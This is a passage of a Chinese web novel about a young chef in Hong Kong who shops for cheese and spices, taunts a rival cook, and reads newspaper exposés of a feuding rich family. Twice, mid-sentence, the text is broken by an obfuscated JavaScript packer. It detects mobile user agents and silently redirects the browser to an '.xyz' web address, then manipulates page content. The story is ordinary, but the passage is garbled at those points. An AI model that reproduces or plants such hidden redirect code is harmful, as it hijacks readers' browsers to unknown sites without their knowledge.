好在千层面和牧羊人派来了。 岳宁一直认为牧羊人派是英国为数不多的美食之一。 不过它的风格就是延续英国餐食的简单粗暴，橄榄油炒了羊肉末，再炒的芹菜、胡萝卜和洋葱碎末，再加入番茄膏煮成浓稠的肉酱，调味后，再铺上土豆泥进入烤箱烘烤。 今天的牧羊人派，上层土豆泥烤成了棕金色，切开有酥脆感，意大利厨子就是意大利厨子，他做的肉酱还是要 比岳宁上辈子在英国吃的复杂一些。肉酱香甜鲜美，土豆泥绵密顺滑带着奶香，热气腾腾，一口下去，让她这个这么多年土豆当主食的人超级满足。 千层面就更对味了，上次来这家店，岳宁就爱上他们用的每一种奶酪，千层面用的陈年帕玛森奶酪，风味很浓郁。 吃过午饭，岳宁去结账的时候顺便问收银的那位小姐：“我能问一下你们奶酪在哪里买的吗？还是说你们自己从意大利进口的？ “您等一下。这位小姐收了钱立马进去叫，“Luca，宝华楼的岳小姐想问你奶酪从哪里买的？ 一个穿着厨师服的白人走了出来，他很热情地叫她：“岳小姐，你好！ “你好，你们的奶酪味道很好。我也想买一些，不知道哪里可以买到？ “你等一下。这位进去拿了一张名片出来，“我朋友有家食品公司，有需要可以找他。 “谢谢！ 岳宁看了一下名片，看起来是一家英国食品商行。 “对我们的菜品感觉怎么样？这个洋人很期待地问。 “这是我第二次来了，披萨超级好吃，还有牧羊人派。我想下次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915463|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还会来。岳宁跟他说，“今天有朋友，下次来的话，不知道有没有可能一起聊一聊？ “欢迎。 这位把他们送出了餐厅。 他们陪着内地的几位一起回了酒店，岳宁联络了叶应漪，叶应漪说三点半她有时间，会让人来鸿安接宋自强。 岳宁安排妥当，她拿出那张名片，看地址就在中环，她说：“阿明、阿星，我们去买奶酪。 “奶酪？阿明惊讶。 “拔丝芋头，或者反沙芋头，做成芋头球，里面放上马苏里拉奶酪做馅料，外面拔丝馅料拉丝？岳宁跟阿明说，“你觉得呢？ “我觉得可以。 “走？ “走。 三个人到了中环，按照地址找到了那家商行，那家商行楼上是办公室，楼下是营业部，那位老板过来接待她，跟她说：“上次在展会，你还到我们展台上买了黑醋。 “抱歉，我只记得那个黑醋品牌了，味道很不错呢！岳宁跟他说。 “要不要品尝一下我这里80%葡萄汁，十二年陈酿的黑醋？ 这个岳宁无法拒绝了，黑醋在舌尖上散开，细腻的酸味和葡萄馥郁的果香，她又为群英荟萃找了一个新口味。 她是来买奶酪的然后顺带捎了一瓶醋和好几样西式香料。 出了这家食品商行阿明指着前面说：“我们去中环街市逛逛？咱们平时做白切鸡不就是放瑶柱吗？我今天选调料的时候发现沙虫干也可以。” 阿星笑：“你觉得红枣、桂皮、香叶都可以。” 阿明没好气地看着他岳宁说：“去确实要去市场转转找找灵感。” 岳宁之前跟岳宝华来过中环街市里面很大是菜场和干货档还有日用品综合的市场。是一个包罗万象也良莠不齐的市场。 这个时候去菜肉档口都已经歇了其他铺子还开着。 听阿明说他小时候这里很热闹现在中环这里居民少了 但是好多老档口都已经开了好几十年摊主年纪也大了不愿意搬就一直在这里。 大卖场超市产品大批量的产品品质有保证却也少了个性化。很多不常见的东西就需要到这里淘。 他们三个一个一个铺面看下来岳宁看到了夏威夷果她来港城这么久都没见过夏威夷果入菜岳宁很喜欢用夏威夷果配菜牛肉粒配上夏威夷果西芹虾仁配夏威夷果软和硬的交替鲜嫩和香脆的对比。 岳宁试了一下这间铺子的夏威夷果品质很不错她让老板称两斤打算回去试试菜。 “家富……哥！” 岳宁听见阿明的声音转头过去看见楼家富正看着她。 她付了钱从老板那里接过夏威夷果。 楼家富又看向阿明：“听说今天上午你赢了？” “是啊！”阿明今天赢了说起这件事脸上不禁露出笑容。 “春风楼的老裘年纪大了手抖了让你捡了个便宜。”楼家富笑了一声看着他这个小师弟“你以为接下去还会撞这么大的运气？” 第107章 阿明挺直腰杆 丁胜强被岳宝华赶走后，楼家富在宝华楼后厨排第一，张骏明一直被他压着，被他管着。他说这话张骏明心里不服气，却也不敢反驳。 港澳两城的参赛队伍里，楼家富认为最为强劲的对手是春风楼的裘大厨，今天去参加录制的人告诉他，裘大厨太极护国羹失手，最终让他的小师弟张骏明晋级。 这对他来说是天大的好消息了。 这个小师弟，他最了解不过，有天赋但没多少上进心，煲仔饭做得好，就一直做煲仔饭，师傅叫他一声，他就动一下，其他的菜都会做，但是手艺跟自己没法比。 楼家富又看向提着夏威夷果出来的岳宁。他想着自己老婆带着孩子去求师傅，是这个小丫头拒绝得干脆爽利。 还好她拒绝了，自己凭着实力到了御龙轩，郭老板对陆进勇只会花活，没有实力已经不满了，现在只要自己拿下本届厨王，那么上一届没能夺冠的陆进勇就没有再留下的理由了。 这么一想，他倒是觉得小师弟帮了自己一个大忙，他笑：“你的运气，就是我的运气。你帮我淘汰了一个劲敌。” 岳宁走出了摊位，一脸寒暄的样子：“家富叔，好巧哦！” 楼家富是见过岳宁刚来港城那会儿，甜甜地叫丁胜强“强叔”，把丁胜强弄到破产，背了一身债。 “是啊！我来找点材料。” “听说了家富叔在御龙轩混得风生水起，御龙轩最近的几道招牌菜都出自您的手。”岳宁商业性恭维。 她这么说了，楼家富到底心里憋着一口气，不说不舒服：“托你的福，让我能进御龙轩，能进港城顶级的酒楼。” 岳宁叹了一声：“这不是没办法吗？我看过《三国》，又不像郭老板那样有信心。不敢要吕奉先啊！” 阿明从岳宁手里接过夏威夷果。 被岳宁骂成吕布这个三姓家奴，楼家富板着一张脸。 “不过，家富叔。有件事情我得提醒你一声。阿明叔今天能获胜确实靠了点运气。但是他的运气却不是你的运气，春风楼的实力和路数，你是知道的。我就问你一句，阿明叔的实力和路数你知道吗？士别三日当刮目相待，我建议你等节目播出了，好好研究研究吧！”岳宁笑，“他对你一清二楚，你对他的印象只停留在煲仔饭。” 有岳宁撑腰，阿明腰杆子硬了，他骄傲地说：“家富哥，你找的人不行啊！他都没告诉你，我 六道菜胜了五道。你就等着跟我比吧！ “阿明叔，走了！岳宁说。 “家富哥，我走了。我的比赛节目，你一定要看哦！ 张骏明特别神气地跟在岳宁身后，留下满脸震惊的楼家富。 三个人继续逛，从这头往外是水果摊子，有马来西亚的猫山王榴莲，岳宁看着袋子里的那堆奶酪，她挑了两个榴莲。 阿星接过榴莲，榴莲那个味道都快让他呕出来了：“这东西能吃吗？ “这东西百来年前就从暹罗，也就是现在的泰国带到了粤城，粤城的茶楼点心师傅，用它做起了榴莲酥，大厨们用它的壳煲鸡。岳宁微微叹息，“国门一关，这种东西就进不来了。你也就没见过。 “真能吃？阿星将信将疑。 “回去做了就知道了。岳宁一看时间差不多了，“走吧！回去开市了，爷爷已经忙了一个中午了。 “走。 三个人回宁宴，回去宁宴已经开市了。岳宁换上厨师服替下爷爷，厨房里大家一边做菜，一边问阿明今天的情况。 听到阿明在白切鸡里放桂皮和香叶，临时从宝华楼过来的阿伟，敲了一下他的脑袋：“你有没有脑子啊？ 阿明嘿嘿笑一声，被哥哥打就打了，他说：“阿伟哥，你知道，我在中环街市碰到谁了？ “谁啊？ “楼家富。他可牛了，不过宁宁说他…… 岳宝华看着自家神采飞扬的小徒弟，自己带徒弟算是老厨子里尽心的，可好像没有宁宁这么会带，自己的这三个徒弟，实际上已经算是宁宁的徒弟了吧？ 他走了出去到孙女的办公室里去喝茶，桌上是今天的晚报。 他翻开报纸从上到下扫了一眼： “崔家昌发迹史，成也项家，败也项家 文章写了崔家昌从一个卖调料的小贩，到偶然的机会帮项立德解决了一个麻烦，受到项立德的喜爱，将独女下嫁，利用自己在富豪中的声望，尤其是和乔家的深厚关系，帮助女婿的小作坊进入鸿安平价商店，让崔家昌在港城富豪中占有一席之地。 项立德死后没多久，崔家昌就开始女人不断，尤其是有了俞婉媚，生了崔慧书。 记者也是有本事，居然采访到了崔家的老佣人，老佣人说崔家昌和大太太第一次爆发冲突，就是崔家昌要把崔慧书抱给大太太，让大太太养这个孩子，作为交换，他承诺 会跟俞婉媚断了关系。 项彩英坚决拒绝，最终的结果就是崔家昌一个接一个女人。 文章里分析，崔家昌让大太太养孩子，实际上想要名正言顺地让崔慧书继承崔家和项家的产业。那个时候立德食品在港城是仅次于英资利嘉食品的食品企业，是港城最大的华资食品公司。 之后立德在崔家昌的经营下，每况愈下，到大太太离世，立德早就不复当年的风光，等崔慧仪接手的时候，已经是一家表面看着还行，实际上积重难返的企业。 然而，崔慧仪看到了速食面的商机，当机立断，速食面大获成功，将立德拉出泥潭。 新益味业崛起蚕食崔记的市场份额，崔家昌却还沉浸在往日成功经验中，等他发现危机来临，用了种种手段，却还是徒劳。 固然是崔记存在不少问题，却也有一个很重要的原因。曾经将他视为同一圈子的几家，已经不给他资源了，甚至在扶持他的对手。 他却没有认识到自己的问题，见立德发展飞速，他把手往立德伸，甚至要陷害崔慧仪，最终父女反目。 父女斗法，崔家昌又败落，他明知无力回天，最终想了办法，把崔记给了大女儿。 这一篇正儿八经分析，也是把崔家昌把几乎所有财 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915464|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产都给大房两个女儿的说法，给反转过来。 岳宝华把报纸翻过来，另外一版“贱男乱搞，俞婉媚仗子行凶，诅咒大婆，开水泼三房，车撞月珊” 记者找了崔家大宅、俞婉媚的佣人，三房陆云芳，这俞婉媚桩桩件件可真不少。 崔家大宅的佣人说这位二太曾经当着大太太的面挑衅说崔家所有的家产都会是她儿子的，谁叫大太太只有两个女儿。大太太时日无多的时候，还打电话诅咒大太太。 伺候俞婉媚的佣人，说俞婉媚非常刻薄，平时要求很高，稍有不顺心，就会发脾气，回家换拖鞋要女佣蹲着给她脱下高跟鞋。 她生的崔慧书也是如此，每天衣服都要给他搭配好，有时候连鞋带都不愿意弯腰系，需要女佣给他系。 有一年，崔家昌过年去陆云芳那里，等崔家昌出差，俞婉媚找机会用开水泼陆云芳。 昨晚岳宁已经跟他说过了，崔慧仪会想办法把俞婉媚的那些黑历史全都挖出来，让**来影响俞婉媚的判刑。 看到这些岳宝华还是震惊，这个女人怎么会这么恶毒？ 岳宝华翻到娱乐版，见 到孙女捂住眼的照片。 “宝华楼乱做鸡，岳宁捂眼 岳宝华真的是服气这些狗仔，非要起这种标题。 岳宁已经忙过高峰时段，她走进办公室，拿起桌上的报纸，崔慧仪趁热打铁。 岳宁看俞婉媚的那一篇，岳宝华说：“怎么会有人小人得志到这种地步？ “小人得志，肯定猖狂。 这种人，岳宁上辈子也见过，有个女明星被富豪带到她的餐厅吃饭，女明星的罗马鞋绑带散开，她脚都懒得伸出来，让服务员帮她钻桌子底下绑鞋带，弄得服务员手足无措。 自己在后厨听见之后，走了出去，让那个不阻止女明星发癫的富豪带人立马滚。 有些人就是这样，逢高踩低到了极致。这个俞婉媚以为自己过上了人上人的生活，实际上她也害了她儿子。 报纸上不是写了吗？崔慧书找岳宁保释他妈，不是因为想要救他妈，只是他连去大宅要整理什么东西都不知道，需要他妈来拿主意。 岳宁看见娱乐版关于自己的标题，她无奈地笑。 办公室门开着，杨志杰敲门，岳宁抬头：“阿杰，你怎么还在公司，下班了，早点回去休息。 “没有，我五点才到，刚刚把苏菲姐交代的任务完成。来了没多少时间。 “你坐。岳宁站起来，去给他倒水，“你人找好了没有，事情那么多还是要其他人跟你一起做。 “就是因为我找了朋友。我们在上市场营销课，讲到危机公关的时候，我们教授举了你的例子。我朋友课堂上说我跟你关系好，让我上去说说，教授听说我在跟你做事，想问问我，你有没有时间，他想要拜访你。 “拜访就不用了，你跟他约一下，我去你们学校吧！岳宁笑着说，“一直说要考你们学校，还没去看过呢！刚好趁着机会去看看。 杨志杰笑得开心：“谢谢了！